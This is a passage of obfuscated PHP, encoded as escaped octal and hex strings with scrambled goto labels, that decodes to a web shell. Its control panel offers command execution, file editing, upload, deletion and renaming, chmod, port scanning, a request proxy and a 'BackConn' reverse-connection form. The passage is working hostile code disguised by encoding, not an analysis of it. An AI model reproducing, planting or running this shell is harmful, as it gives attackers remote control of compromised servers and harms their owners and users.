157\x73\x65\x28\x24\x75\x72\154\51\x3b\12\11\x9\11\11\175\xa\x9\x9\11\11\145\x6c\x73\x65\40\x69\146\40\50\44\x5f\x50\x4f\x53\124\x5b\x63\165\162\154\135\51\12\x9\11\x9\11\173\xa\x9\11\x9\11\157\x62\x5f\x63\154\145\x61\156\50\x29\73\12\x9\x9\11\x9\x24\143\150\40\75\40\x63\165\x72\154\x5f\151\156\151\164\50\x29\x3b\12\x9\x9\11\11\143\165\162\154\x5f\x73\145\164\x6f\160\x74\50\x24\x63\x68\54\40\x43\x55\122\x4c\117\x50\124\x5f\x55\122\x4c\x2c\x20\x24\137\x50\117\x53\x54\x5b\165\162\x6c\135\51\73\12\x9\x9\11\x9\x63\x75\162\x6c\137\163\145\164\x6f\x70\164\50\44\x63\x68\54\x20\103\125\x52\114\x4f\x50\x54\x5f\110\x45\x41\x44\x45\122\54\40\60\51\x3b\12\11\x9\11\11\143\x75\162\x6c\x5f\x65\170\x65\x63\x28\x24\x63\x68\51\x3b\xa\x9\11\x9\x9\143\165\162\154\137\143\154\157\x73\x65\x28\44\143\150\51\73\12\11\x9\x9\11\157\142\x5f\x65\x6e\x64\x5f\x66\154\165\x73\150\x28\51\73\xa\x9\x9\11\x9\175\xa\11\x9\x9\x9\145\154\x73\145\x20\x69\146\40\x28\44\137\120\117\123\x54\x5b\146\x6f\x70\145\x6e\x5d\51\x20\x7b\xa\11\11\11\x9\44\146\x69\154\145\x20\x3d\40\x66\151\154\145\50\44\x5f\120\x4f\x53\124\x5b\x75\x72\154\x5d\x29\x3b\xa\11\x9\x9\x9\146\157\162\x65\x61\143\150\40\x28\44\146\x69\154\145\x20\141\163\40\44\x6c\151\x6e\145\51\x7b\12\x9\11\x9\x9\x24\x6f\x75\x74\160\x75\164\40\x2e\75\40\x24\154\151\156\145\73\xa\11\11\11\x9\175\xa\11\x9\x9\11\x7d\xa\x9\11\11\12\x7d\xa\12\57\x2f\40\143\x68\155\x6f\x64\12\151\x66\40\50\44\x5f\120\x4f\x53\124\133\47\155\x6f\144\145\47\x5d\x3d\x3d\42\143\x68\x6d\x6f\x64\42\51\x20\x7b\xa\143\x68\144\151\x72\x28\44\x64\x69\162\51\x3b\xa\x63\150\x6d\157\x64\50\x24\137\120\117\x53\124\133\146\x69\x6c\145\x6e\x61\x6d\145\x5d\54\x20\x69\x6e\164\166\141\x6c\x28\44\137\x50\117\x53\124\133\x66\x69\x6c\145\155\x6f\x64\145\135\54\x20\70\51\51\x6f\162\x20\x64\x69\145\x28\42\143\141\156\x6e\157\x74\x20\x63\150\x61\156\147\145\x20\x66\x69\x6c\145\40\155\157\144\x65\x22\x29\x3b\xa\x24\x6f\165\164\160\x75\x74\40\75\40\42\115\157\x64\145\x20\x63\x68\141\x6e\x67\x65\144\41\42\x3b\xa\x7d\xa\xa\57\57\40\x70\x6f\162\x74\x73\x63\x61\x6e\40\12\x69\146\40\50\44\137\120\117\x53\124\x5b\x27\155\x6f\x64\145\47\135\x3d\75\x22\163\143\141\156\42\51\x20\x7b\xa\x9\44\157\160\x65\x6e\x74\x20\x3d\40\x61\162\162\141\x79\50\51\73\xa\x9\44\150\x6f\163\x74\x20\x3d\40\44\137\120\x4f\x53\x54\x5b\x68\157\x73\164\x5d\x3b\xa\x9\x24\x72\x61\x6e\147\145\x20\75\40\x72\x61\156\147\x65\x28\x24\x5f\x50\x4f\x53\x54\x5b\155\151\156\x5f\160\157\162\164\135\x2c\40\x24\137\x50\x4f\123\x54\x5b\x6d\x61\x78\137\160\157\x72\x74\x5d\x29\x3b\xa\11\146\x6f\x72\145\141\x63\x68\x28\44\x72\141\156\147\145\40\141\163\40\44\x70\x6f\162\164\51\40\173\xa\11\x9\44\143\x6f\x6e\x20\x3d\x20\146\163\x6f\143\153\157\160\x65\156\50\x24\x68\157\163\x74\54\40\x24\x70\x6f\162\x74\54\40\44\145\x72\x72\x6e\157\54\x20\44\x65\x72\162\163\164\162\x2c\x20\x31\62\x29\x3b\12\11\11\151\x66\40\50\44\x63\157\156\x29\x20\x24\157\x70\x65\156\x74\x5b\135\40\75\x20\44\x70\157\162\164\73\xa\x9\x7d\12\x9\44\x6f\165\164\x70\165\164\40\x3d\40\x22\x46\157\x75\156\144\40\x22\x2e\143\157\x75\156\x74\x28\x24\x6f\x70\x65\x6e\164\x29\56\42\x20\157\160\x65\x6e\x65\144\40\160\157\162\x74\x73\72\74\142\162\x20\57\76\42\73\12\11\x77\x68\151\154\145\50\154\x69\x73\x74\50\x24\x6e\165\x6d\x2c\40\x24\x76\141\x6c\165\145\x29\x3d\x65\141\x63\x68\50\x24\x6f\160\145\156\164\51\x29\x20\x7b\12\11\x9\x24\157\165\x74\x70\165\x74\x20\x2e\x3d\40\x22\74\x62\76\44\156\165\155\74\57\142\76\x20\72\x20\x24\x76\x61\x6c\165\x65\74\x62\x72\x20\x2f\76\x22\x3b\xa\x9\175\12\175\xa\x3f\76\x3c\x68\x74\x6d\x6c\76\xa\74\x68\x65\141\x64\76\xa\74\x73\x74\x79\x6c\145\40\164\171\x70\145\x3d\42\164\145\x78\x74\x2f\143\163\163\42\x3e\xa\x62\157\144\171\x20\x7b\x62\141\x63\x6b\x67\162\x6f\x75\156\x64\x2d\x63\x6f\154\x6f\162\x3a\43\x30\60\x30\x30\x30\60\x3b\40\x66\x6f\x6e\x74\55\146\141\155\151\x6c\x79\x3a\126\145\162\144\141\156\x61\x2c\40\101\x72\x69\x61\x6c\x2c\x20\110\145\154\x76\145\164\x69\143\x61\54\x20\x73\x61\156\163\x2d\163\145\162\151\146\x3b\x20\146\x6f\156\x74\55\163\x69\x7a\145\72\x31\60\x70\x78\73\40\143\157\154\x6f\x72\72\43\106\x46\x46\106\x46\106\73\175\12\12\56\154\x69\156\153\x20\173\x66\x6f\156\164\55\146\141\155\x69\x6c\171\72\126\x65\x72\144\x61\x6e\141\x2c\x20\101\162\x69\141\154\x2c\x20\110\x65\x6c\166\x65\164\x69\143\x61\54\40\x73\x61\156\x73\x2d\x73\x65\x72\x69\x66\73\x20\x66\157\156\x74\x2d\x73\x69\172\x65\x3a\61\x32\160\x78\73\x20\x63\x6f\x6c\x6f\x72\x3a\x23\x46\x46\x46\106\x46\106\73\40\x66\157\156\164\55\167\x65\x69\147\x68\164\x3a\x62\x6f\154\144\x65\x72\x3b\x20\x74\x65\170\164\55\x64\x65\x63\x6f\x72\x61\164\x69\x6f\156\x3a\165\x6e\144\145\x72\154\151\156\145\x3b\x7d\xa\x2e\x68\145\x61\144\x65\x72\x20\173\xa\11\146\x6f\156\x74\55\x73\x69\x7a\x65\x3a\40\x32\64\x70\x78\x3b\xa\x9\146\157\x6e\x74\55\x77\145\151\x67\150\164\72\x20\142\x6f\154\x64\x3b\xa\x7d\xa\x74\x64\x23\x69\x6e\x66\x6f\40\x7b\146\x6f\x6e\164\55\146\x61\155\x69\154\x79\72\126\x65\x72\x64\x61\x6e\x61\x2c\40\101\162\x69\x61\154\x2c\40\110\x65\x6c\x76\x65\164\x69\143\x61\54\40\x73\x61\x6e\163\x2d\x73\x65\162\151\x66\73\x20\146\157\156\164\x2d\x73\x69\172\145\72\61\62\160\x78\73\40\x63\157\x6c\x6f\x72\x3a\x23\x30\60\x30\60\60\x30\73\40\x66\x6f\156\x74\55\x77\x65\151\x67\x68\x74\72\x62\157\154\x64\x7d\xa\x74\144\40\x7b\12\x66\157\x6e\x74\55\163\x69\172\145\x3a\61\x32\160\170\73\12\175\12\56\x53\x74\151\x6c\x65\61\x20\x7b\xa\11\x63\157\x6c\157\x72\x3a\x20\43\x30\60\71\71\x46\x46\73\12\11\146\x6f\156\164\55\167\x65\x69\147\x68\x74\72\x20\x62\157\x6c\x64\73\xa\x7d\xa\12\x69\156\x70\x75\164\x20\x7b\12\11\142\x61\143\x6b\x67\162\157\x75\x6e\x64\55\143\157\154\157\162\72\40\43\60\60\66\x36\106\x46\73\12\11\142\157\x72\144\145\162\x3a\43\x46\x46\106\106\106\106\40\62\x70\170\x20\x73\157\x6c\151\144\x3b\12\x9\143\157\x6c\x6f\162\72\x23\106\x46\106\106\106\x46\73\12\11\146\x6f\x6e\164\x2d\x66\141\x6d\x69\154\x79\x3a\126\145\x72\x64\x61\156\x61\x3b\12\11\146\x6f\x6e\164\x2d\163\151\172\x65\72\x31\x30\160\170\73\xa\175\xa\164\x65\x78\x74\141\x72\x65\141\x20\173\xa\xa\x9\x62\x61\143\153\x67\162\157\165\156\144\55\143\157\154\x6f\162\x3a\40\43\60\60\x36\x36\x46\106\73\xa\11\142\157\x72\x64\x65\x72\72\43\106\x46\x46\106\106\106\x20\x32\x70\x78\40\x73\157\x6c\x69\x64\x3b\xa\11\x63\x6f\154\157\x72\72\x23\x46\106\106\106\x46\x46\x3b\12\x9\x66\x6f\156\x74\x2d\x66\141\155\151\154\x79\x3a\126\x65\162\144\141\156\x61\73\xa\11\146\157\x6e\x74\55\163\151\172\145\72\61\x30\x70\170\x3b\12\175\12\163\145\x6c\x65\x63\164\x20\173\12\12\x9\142\x61\143\153\x67\162\x6f\165\156\x64\x2d\143\x6f\154\x6f\x72\x3a\40\43\60\60\x36\x36\x46\x46\73\12\x9\x62\157\x72\144\145\x72\72\x23\106\106\x46\106\x46\106\40\x32\160\x78\x20\163\x6f\154\151\144\x3b\xa\x9\143\x6f\x6c\x6f\x72\x3a\x23\106\106\x46\106\x46\x46\73\xa\11\x66\157\156\x74\55\x66\x61\x6d\x69\154\x79\72\x56\145\162\144\141\156\141\73\12\11\146\x6f\156\164\55\x73\151\172\x65\72\61\60\x70\170\73\xa\175\xa\x2e\123\x74\x69\154\145\62\x20\x7b\143\x6f\x6c\x6f\x72\x3a\x20\43\106\x46\x30\x30\x30\x30\175\xa\x2e\123\x74\x69\154\145\64\x20\173\x63\x6f\154\x6f\x72\x3a\40\43\106\106\x46\x46\x46\x46\175\12\x3c\x2f\163\x74\x79\154\x65\76\12\74\x74\x69\164\154\x65\76"; goto jC_nZ; z6j9y: echo "\40\157\x66\40"; goto zdyNu; SgtL1: echo "\x22\73\xa\x9\x20\40\74\57\x73\143\162\x69\x70\x74\x3e\xa\x3c\x74\x61\x62\x6c\145\40\167\151\144\x74\x68\x3d\x22\x31\x30\x30\45\x22\x20\142\x6f\x72\x64\x65\x72\75\42\x30\x22\40\143\145\x6c\x6c\x73\160\141\x63\x69\x6e\147\x3d\42\60\x22\x20\x63\x65\154\154\x70\141\144\x64\151\x6e\147\75\42\60\42\76\xa\40\x20\74\x74\x72\x3e\12\40\x20\x20\40\74\164\144\x20\x73\x74\x79\x6c\x65\75\x22\142\157\162\144\x65\162\72\43\x46\106\106\106\x46\106\x20\61\160\x78\40\163\157\x6c\x69\x64\73\x22\76\74\146\157\x72\x6d\x20\156\x61\155\145\x3d\146\145\144\151\x74\40\141\x63\x74\x69\x6f\x6e\x3d\x23\x20\155\x65\164\150\157\144\75\160\157\163\x74\76\xa\x20\x20\40\40\40\40\74\144\151\166\40\x61\x6c\x69\147\x6e\x3d\x22\x63\145\x6e\x74\145\162\42\76\x20\x3c\163\x74\162\157\156\147\x3e\72\x3a\40\105\144\x69\164\x20\x66\151\x6c\145\40\72\x3a\40\x3c\x2f\163\x74\x72\x6f\x6e\x67\x3e\x3c\142\x72\x3e\xa\x20\40\x20\x20\x20\x20\74\x69\x6e\x70\x75\x74\40\164\171\x70\145\x3d\150\151\x64\x64\x65\156\40\x6e\x61\x6d\145\x3d\x6d\x6f\x64\145\40\x76\141\x6c\x75\x65\x3d\x65\144\151\164\76\xa\x20\40\x20\x20\x20\40\40\x20\156\x61\155\x65\12\40\x20\x20\x20\40\x20\x20\x20\x20\40\74\x69\x6e\160\x75\164\x20\x74\x79\x70\145\x3d\164\x65\170\x74\x20\x6e\x61\x6d\145\x3d\x6d\157\x64\146\151\154\145\40\x73\151\x7a\145\75\x22\61\62\42\x3e\12\40\40\40\x20\x20\x20\40\x20\74\151\156\x70\x75\x74\40\x74\x79\x70\145\x3d\163\165\142\155\x69\164\x20\x76\141\154\165\145\75\x65\144\x69\164\76\xa\40\x20\40\x20\40\40\x3c\57\144\151\x76\76\74\57\146\157\x72\155\x3e\x3c\x2f\164\x64\76\xa\x20\x20\x20\40\74\164\144\40\x73\164\x79\x6c\x65\75\x22\x62\x6f\162\144\x65\x72\72\x23\106\106\x46\106\106\106\40\61\x70\170\x20\x73\x6f\x6c\x69\144\73\x22\x3e\x3c\146\x6f\x72\x6d\x20\141\143\164\x69\x6f\156\75\x23\x20\x6d\x65\x74\150\x6f\144\75\160\157\x73\x74\76\xa\40\40\40\x20\40\x20\12\40\x20\x20\40\x20\x20\x3c\x64\151\166\40\x61\154\x69\x67\156\75\42\x63\145\x6e\164\145\x72\42\76\74\x73\164\162\157\156\x67\76\x3a\x3a\40\x4d\141\x6b\145\x20\106\151\154\145\40\x3a\x3a\x3c\x2f\163\164\x72\x6f\156\x67\x3e\x3c\x62\162\x20\57\76\12\40\x20\40\40\40\40\40\x20\74\151\156\x70\x75\x74\x20\x74\x79\x70\x65\75\150\151\x64\x64\145\x6e\x20\156\141\x6d\145\x3d\155\157\144\x65\40\166\141\x6c\165\145\75\155\x6b\x66\151\x6c\x65\x3e\xa\40\40\x20\40\40\x20\x20\40\x6e\141\x6d\x65\xa\x20\x20\x20\x20\x20\40\x20\x20\74\151\156\160\165\x74\x20\x74\171\160\145\x3d\x74\145\170\164\40\x6e\141\155\145\x3d\47\x6d\x6b\146\151\x6c\145\x27\40\163\x69\172\145\75\42\61\x32\x22\x3e\12\40\40\x20\x20\x20\x20\x20\40\x20\x20\x20\x20\x3c\151\x6e\160\165\x74\40\x6e\141\155\145\75\42\163\x75\x62\x6d\x69\164\x22\40\164\171\160\145\x3d\163\x75\x62\x6d\x69\164\40\x76\141\154\x75\145\75\155\141\153\x65\76\12\40\x20\x20\x20\40\x20\40\40\x3c\x2f\144\x69\x76\x3e\12\x20\x20\x20\x20\x3c\57\146\157\x72\155\76\40\x20\x20\x20\74\57\x74\144\x3e\12\40\x20\x20\40\x3c\x74\144\40\x73\164\171\154\x65\x3d\x22\x62\157\162\x64\x65\162\72\x23\x46\106\106\106\x46\106\40\x31\160\170\40\163\157\x6c\x69\x64\73\42\76\40\x3c\146\157\162\x6d\x20\x61\143\x74\x69\157\x6e\x3d\x23\x20\156\141\x6d\x65\75\x27\144\145\154\x66\151\x6c\145\x27\40\155\145\x74\x68\157\x64\x3d\x70\157\163\164\x3e\12\40\40\x20\x20\x20\40\74\144\151\x76\40\141\x6c\151\147\156\75\42\143\x65\156\x74\145\162\42\76\x3c\163\164\162\x6f\x6e\x67\76\72\72\x20\x44\145\x6c\x65\164\145\x20\x46\x69\x6c\x65\x20\x3a\72\40\x20\74\57\x73\x74\x72\157\156\147\76\x3c\142\162\76\xa\x20\x20\40\x20\40\40\x3c\151\156\x70\x75\164\x20\164\x79\160\x65\x3d\150\x69\x64\x64\x65\x6e\40\x6e\141\x6d\145\x3d\x6d\157\144\145\x20\x76\141\154\165\x65\x3d\144\145\x6c\146\x69\x6c\x65\76\12\40\40\x20\x20\x20\40\x20\40\x6e\141\155\145\xa\x20\x20\40\x20\40\40\40\x20\x3c\x69\x6e\160\165\x74\40\x74\x79\x70\145\x3d\164\145\170\164\x20\156\141\155\145\x3d\x27\x64\x65\154\146\x69\154\x65\x27\x20\x73\x69\x7a\145\x3d\x22\61\62\x22\76\xa\40\40\40\40\40\40\40\x20\74\x69\x6e\160\165\164\40\x74\171\x70\x65\75\163\x75\142\155\x69\x74\40\166\x61\x6c\165\x65\75\x75\x6e\154\x69\156\153\76\xa\40\x20\x20\40\x20\x20\x3c\x2f\x64\x69\x76\x3e\12\x20\40\40\40\x3c\57\x66\x6f\x72\x6d\x3e\40\40\x20\x20\74\57\164\144\x3e\xa\40\x20\74\57\164\x72\x3e\12\x20\x20\x3c\164\x72\x3e\12\x20\40\x20\40\74\x74\x64\x20\163\164\x79\x6c\145\x3d\x22\142\x6f\x72\x64\x65\162\72\43\106\106\106\x46\x46\106\x20\x31\x70\x78\x20\163\157\x6c\x69\x64\73\42\x3e\x3c\146\157\162\155\40\155\145\x74\150\x6f\144\75\42\x70\x6f\163\x74\42\40\141\143\164\151\x6f\156\x3d\42\x23\42\40\x65\156\143\x74\171\160\145\75\42\155\x75\154\x74\x69\160\141\162\164\57\x66\x6f\162\155\55\x64\x61\164\141\x22\76\12\x20\x20\40\40\x20\40\x3c\144\x69\x76\40\141\x6c\x69\147\156\75\42\x63\145\x6e\164\145\162\42\76\x3c\x73\x74\162\x6f\156\x67\x3e\x3a\72\x20\165\160\x6c\157\x61\144\x20\72\72\x20\x20\x3c\57\x73\x74\x72\157\156\x67\x3e\x3c\142\162\76\12\x20\40\x20\40\x20\40\x3c\151\156\160\x75\164\40\164\x79\160\x65\75\x22\x68\x69\144\144\145\x6e\x22\40\x6e\x61\155\145\x3d\x22\155\x6f\x64\145\x22\x20\x76\x61\154\165\145\x3d\x22\x75\160\154\x6f\x61\x64\x32\42\x20\57\x3e\12\x20\x20\40\x20\40\x20\x20\x20\x3c\151\156\x70\165\164\40\156\x61\x6d\145\75\42\x6d\x79\146\x69\154\x65\x22\x20\164\171\160\x65\75\42\x66\x69\154\145\42\40\x69\144\x3d\42\155\x79\x66\x69\154\145\42\40\x76\141\x6c\165\145\x3d\x22\114\x6f\x61\144\56\56\x2e\42\x20\163\x69\172\145\x3d\x22\x32\x30\x22\x20\x2f\76\xa\40\40\x20\40\40\40\40\40\40\x20\40\x20\74\151\x6e\160\165\164\40\164\171\160\x65\75\x22\163\165\142\155\151\x74\x22\x20\156\x61\x6d\145\x3d\42\157\153\42\x20\166\x61\154\165\x65\75\x22\144\x6f\x22\x20\x2f\x3e\xa\x20\x20\40\x20\x20\x20\40\40\x3c\x2f\144\151\166\x3e\12\x20\40\x20\x20\74\x2f\146\x6f\x72\155\x3e\40\40\x20\40\74\x2f\x74\x64\x3e\12\x20\40\x20\x20\74\164\x64\x20\163\164\171\x6c\145\x3d\42\x62\157\162\144\145\x72\72\43\x46\x46\x46\x46\x46\x46\x20\x31\160\x78\x20\163\x6f\154\x69\144\x3b\x22\76\74\x66\x6f\x72\x6d\x20\x61\143\x74\151\157\x6e\x3d\43\40\x6d\x65\x74\x68\157\x64\x3d\160\157\x73\164\76\xa\x20\40\40\x20\40\x20\74\144\151\166\40\x61\154\151\x67\156\75\42\x63\x65\156\x74\x65\162\x22\76\74\x73\164\x72\157\156\147\x3e\x3a\72\40\122\145\156\141\155\145\x20\x46\x69\x6c\145\x20\72\72\x20\40\74\x2f\x73\164\x72\x6f\156\x67\76\x3c\142\162\76\xa\40\40\40\40\40\x20\74\151\156\160\165\164\40\x74\x79\x70\145\x3d\42\150\151\144\144\x65\x6e\42\x20\x6e\x61\155\145\75\42\x6d\157\x64\x65\42\40\166\x61\x6c\x75\145\75\42\x72\145\156\146\151\154\x65\42\40\57\x3e\xa\x20\x20\x20\40\40\40\40\40\x3c\151\x6e\x70\165\164\40\x74\x79\x70\x65\x3d\x22\164\x65\x78\164\x22\x20\156\x61\x6d\x65\x3d\42\x6f\154\x64\x6e\141\x6d\145\x22\40\166\141\154\165\145\x3d\42\60\x6c\144\x20\156\141\155\145\42\x20\163\151\172\145\x3d\42\x31\x35\42\x20\57\x3e\12\x20\x20\x20\40\40\40\40\40\x20\40\40\40\x3c\151\156\x70\x75\x74\x20\x74\171\x70\x65\75\x22\x74\145\170\x74\42\40\156\141\155\145\75\x22\x6e\x65\x77\x6e\x61\155\x65\x22\x20\166\x61\154\165\145\x3d\x22\116\145\x77\40\156\141\x6d\x65\x22\x20\163\x69\172\x65\x3d\x22\x31\65\42\x20\x2f\x3e\12\40\x20\x20\40\40\x20\x20\x20\x20\40\40\x20\74\x69\x6e\x70\165\164\40\156\x61\155\x65\75\42\x73\165\x62\x6d\151\x74\x22\x20\x74\171\160\145\x3d\x22\163\165\x62\155\x69\164\x22\x20\166\x61\154\x75\145\75\42\x52\x65\156\42\40\x2f\76\xa\x20\40\x20\40\40\40\40\40\x3c\57\x64\x69\x76\x3e\12\x20\40\x20\40\74\57\146\x6f\162\155\x3e\40\40\x20\40\x3c\x2f\164\144\76\xa\x20\40\40\x20\x3c\x74\144\x20\163\x74\x79\154\x65\75\42\142\x6f\162\x64\145\162\x3a\x23\106\106\106\x46\x46\x46\x20\x31\160\x78\40\x73\x6f\154\151\x64\x3b\42\76\x3c\146\157\162\155\40\x61\143\164\151\157\x6e\75\42\43\x22\40\x6d\145\164\150\x6f\144\x3d\42\160\157\163\x74\42\76\12\x20\40\40\x20\40\40\x3c\x64\x69\x76\x20\x61\154\x69\x67\156\x3d\x22\143\145\x6e\164\145\x72\x22\x3e\x3c\x73\x74\162\157\156\147\x3e\x3a\x3a\x20\115\141\153\x65\40\104\x69\x72\40\72\72\x20\x3c\x2f\x73\x74\162\x6f\x6e\147\76\74\x62\162\x3e\xa\x20\40\40\40\40\x20\x20\40\40\40\x3c\151\156\x70\165\x74\x20\x74\x79\160\145\75\x22\150\x69\x64\x64\x65\156\x22\40\x6e\141\x6d\145\x3d\x22\155\157\x64\x65\x22\40\166\141\x6c\x75\145\75\x22\x6d\153\144\151\x72\42\40\x2f\76\xa\x20\x20\40\x20\x20\x20\40\x20\156\141\x6d\x65\xa\x20\40\40\x20\40\40\40\40\74\x69\156\160\x75\164\x20\156\141\155\x65\x3d\42\x6d\153\144\x69\162\42\40\x74\x79\x70\145\75\x22\x74\145\x78\164\42\x20\x73\151\x7a\145\x3d\x22\61\x38\x22\40\57\76\12\40\40\x20\40\x20\40\40\x20\x20\40\x20\x20\74\x69\156\160\165\x74\40\x6e\x61\155\145\75\x22\x73\165\142\x6d\151\x74\x22\x20\164\x79\x70\x65\75\x22\163\165\x62\x6d\x69\x74\42\x20\x76\x61\x6c\x75\145\x3d\42\x6f\153\42\40\57\76\xa\x20\40\40\x20\40\x20\x20\x20\x3c\x2f\x64\x69\x76\x3e\12\40\x20\40\x20\x3c\57\146\x6f\x72\x6d\76\40\x20\x20\x20\x3c\57\x74\144\x3e\xa\40\x20\74\x2f\x74\x72\x3e\12\40\40\x3c\x74\x72\76\12\40\x20\x20\x20\74\164\144\40\x73\164\x79\x6c\x65\x3d\x22\142\x6f\x72\144\x65\x72\72\43\x46\x46\106\106\106\x46\x20\61\x70\170\x20\x73\x6f\154\151\144\73\x22\x3e\74\x66\157\162\x6d\40\141\143\x74\151\157\156\x3d\x23\40\x6d\x65\x74\150\x6f\144\x3d\x70\157\x73\164\76\12\40\40\40\x20\40\40\74\144\x69\166\40\x61\x6c\151\x67\x6e\75\x22\x63\x65\156\x74\x65\162\x22\x3e\74\x73\164\x72\157\x6e\147\76\x3a\x3a\x20\x43\x6d\x64\x20\x45\170\145\x63\x75\164\x69\x6f\156\40\x3a\x3a\x20\x20\x3c\57\x73\x74\x72\157\x6e\x67\76\74\142\x72\76\xa\40\x20\40\40\x20\x20\x3c\x69\156\x70\x75\164\x20\x74\x79\160\x65\x3d\x68\151\144\x64\145\156\40\x6e\141\155\x65\75\155\157\144\x65\40\x76\141\x6c\x75\145\x3d\x63\x6d\x64\x3e\12\40\x20\40\40\x20\40\40\x20\x3c\151\x6e\160\165\164\40\156\x61\155\x65\x3d\143\155\144\x20\x73\151\x7a\x65\x3d\42\62\x36\x22\40\x74\160\x79\145\75\164\145\170\164\76\xa\40\40\40\40\40\x20\40\x20\x3c\151\156\160\165\x74\40\x6e\x61\x6d\x65\x3d\42\x73\x75\x62\155\151\x74\x22\x20\164\171\x70\x65\x3d\163\x75\x62\x6d\151\x74\40\166\141\154\165\145\75\x65\170\x65\x63\x3e\xa\40\x20\40\40\x20\x20\40\x20\x3c\x2f\x64\151\166\x3e\xa\40\40\40\40\x3c\57\x66\x6f\162\155\x3e\x20\x20\40\40\74\x2f\164\144\x3e\12\x20\x20\x20\40\74\164\x64\40\163\x74\171\x6c\145\x3d\42\x62\x6f\x72\x64\x65\x72\72\x23\106\x46\106\x46\x46\106\40\61\160\x78\40\x73\x6f\x6c\151\x64\73\x22\x3e\74\146\x6f\162\155\x20\141\143\x74\x69\x6f\x6e\x3d\x22\43\42\x20\155\x65\164\x68\x6f\x64\75\42\x70\157\x73\164\x22\x3e\12\40\x20\40\x20\x20\40\74\x64\x69\x76\40\x61\154\x69\147\x6e\x3d\x22\x63\145\156\x74\145\162\42\x3e\x3c\163\164\x72\x6f\156\147\76\x3a\72\x20\102\x61\143\153\x43\x6f\x6e\156\x20\x3a\x3a\x20\74\57\163\164\162\157\156\x67\76\x3c\142\162\76\xa\40\40\x20\x20\x20\x20\74\x69\156\x70\x75\164\40\164\x79\160\145\x3d\x68\x69\144\x64\x65\x6e\40\156\x61\155\145\75\155\x6f\144\145\x20\166\x61\154\165\145\x3d\x72\145\x76\x65\162\163\x65\40\57\x3e\xa\40\40\40\40\x20\x20\40\x20\x3c\151\156\x70\x75\164\x20\156\141\155\x65\x3d\x22\151\160\x22\40\x74\x79\x70\x65\x3d\42\164\x65\x78\164\x22\40\x76\x61\x6c\x75\x65\x3d\42"; goto KD0Rz; MQaKH: echo "\40\x28"; goto lOPt2; y3AXc: echo "\42\40\x2f\76\xa\40\40\40\x20\x20\x20\40\40\x3c\x69\x6e\x70\x75\x74\x20\164\x79\160\x65\x3d\42\164\145\x78\164\x22\40\156\141\x6d\145\x3d\42\150\157\x73\x74\42\x20\x73\151\172\x65\x3d\x22\61\x30\x22\x20\166\x61\154\165\145\x3d\42"; goto nSd_D; jtpCW: echo "\40\x20\40\40\40\x20\40\x20\40\40\40\40"; goto YwzKs; eboFu: echo "\47\40\x6e\x61\155\145\75\47\x64\151\162\x27\x3e\12\x20\x20\40\x20\40\40\x20\x20\x3c\x69\156\160\165\x74\x20\164\171\x70\x65\x3d\x73\165\142\155\x69\164\40\166\141\x6c\165\145\75\143\150\141\156\x67\x65\x2f\154\x69\163\x74\x3e\12\40\x20\40\40\x20\40\x3c\x2f\x64\x69\x76\76\xa\x20\x20\40\x20\74\57\146\x6f\x72\x6d\x3e\x3c\x2f\x74\x64\76\xa\x20\40\74\x2f\164\162\76\xa\40\x20\x20\x20\74\164\x72\x3e\12\40\x20\x20\x20\x20\x20\74\x74\x64\40\163\x74\x79\154\145\x3d\42\x62\157\162\x64\145\162\x3a\x23\106\x46\x46\x46\x46\106\40\x31\x70\x78\x20\163\x6f\154\151\x64\73\x22\x3e\x3c\144\151\166\40\x61\154\151\147\x6e\x3d\x22\143\145\x6e\164\x65\x72\x22\x3e\12\11\x20\40\x9\x9\74\146\x6f\162\x6d\40\155\145\x74\150\157\x64\75\42\160\157\163\x74\42\40\x61\x63\164\151\x6f\x6e\x3d\x22\43\42\x3e\12\x9\x9\x9\74\163\164\162\x6f\156\147\x3e\72\x3a\x20\120\162\157\x78\171\40\x3a\x3a\74\57\x73\164\x72\x6f\x6e\x67\76\40\x20\x20\x20\40\40\40\40\x3c\142\x72\x3e\12\40\x20\40\x20\40\x20\x20\x20\11\x3c\x69\x6e\x70\165\x74\x20\x6e\x61\x6d\x65\x3d\42\x6d\x6f\x64\145\42\40\x74\x79\x70\x65\75\x22\x68\x69\144\x64\145\156\x22\x20\151\x64\x3d\x22\155\157\144\x65\x22\x20\166\x61\154\x75\145\x3d\x22\160\x72\x6f\x78\x79\163\x75\162\146\x22\x20\57\76\12\40\40\40\x20\x20\x20\40\x20\x9\165\x72\x6c\x3a\40\74\x69\x6e\160\x75\164\x20\156\x61\x6d\x65\75\42\165\x72\154\x22\x20\x74\x79\x70\x65\x3d\42\164\x65\x78\164\42\x20\x73\151\x7a\145\75\x22\x33\x30\x22\40\x2f\76\xa\11\x9\11\74\x69\x6e\x70\165\164\40\x74\171\x70\x65\75\42\163\165\142\155\x69\164\42\x20\166\x61\x6c\x75\145\75\x22\x73\165\x72\x66\x22\40\x2f\76\40\xa\x9\11\x9\74\x69\x6e\160\x75\x74\40\x6e\141\155\145\x3d\x22\143\x75\x72\x6c\42\40\x74\171\160\145\x3d\42\143\x68\x65\x63\153\x62\x6f\x78\x22\40\151\144\75\42\x63\165\162\x6c\x22\x20\x76\141\x6c\x75\145\75\42\143\x75\162\154\x22\40\x2f\76\40\x20\x63\x75\162\154\x20\12\11\x9\11\74\x69\156\160\x75\164\40\156\x61\155\x65\x3d\x22\146\157\160\x65\x6e\x22\40\x74\x79\x70\145\x3d\42\x63\x68\x65\x63\153\142\157\170\x22\x20\x69\144\75\42\x66\x6f\x70\145\156\42\x20\x76\x61\x6c\x75\x65\x3d\42\146\157\x70\145\x6e\x22\x20\x2f\76\x20\146\x6f\x70\145\x6e\x3c\142\x72\40\x2f\76\x20\12\11\x9\x9\40\xa\x9\11\11\74\57\146\157\162\x6d\x3e\74\x2f\x64\x69\x76\x3e\12\x20\40\x20\x20\x20\40\74\57\x74\x64\x3e\12\x20\40\x20\x20\x20\40\x3c\164\144\x20\x73\x74\x79\154\x65\x3d\x22\x62\157\x72\x64\145\x72\x3a\x23\x46\106\x46\106\106\x46\40\x31\x70\x78\40\163\157\x6c\151\144\x3b\x22\x3e\x3c\x66\x6f\x72\155\40\155\145\x74\x68\x6f\144\x3d\42\x70\157\163\164\x22\40\x61\143\x74\x69\x6f\156\75\42\x23\42\x3e\xa\40\x20\40\40\x20\40\74\x64\x69\166\40\141\154\x69\x67\156\75\x22\x63\145\x6e\x74\x65\x72\42\x3e\x3c\163\164\162\x6f\156\x67\76\x3a\72\x20\106\x69\x6c\145\x20\103\x68\x61\x6e\x67\145\x20\115\157\144\x65\x3a\x3a\40\40\x3c\x2f\x73\x74\162\157\156\147\x3e\74\x62\162\x3e\xa\40\x20\x20\40\x20\40\x3c\x69\156\x70\165\164\x20\x74\171\160\145\75\42\x68\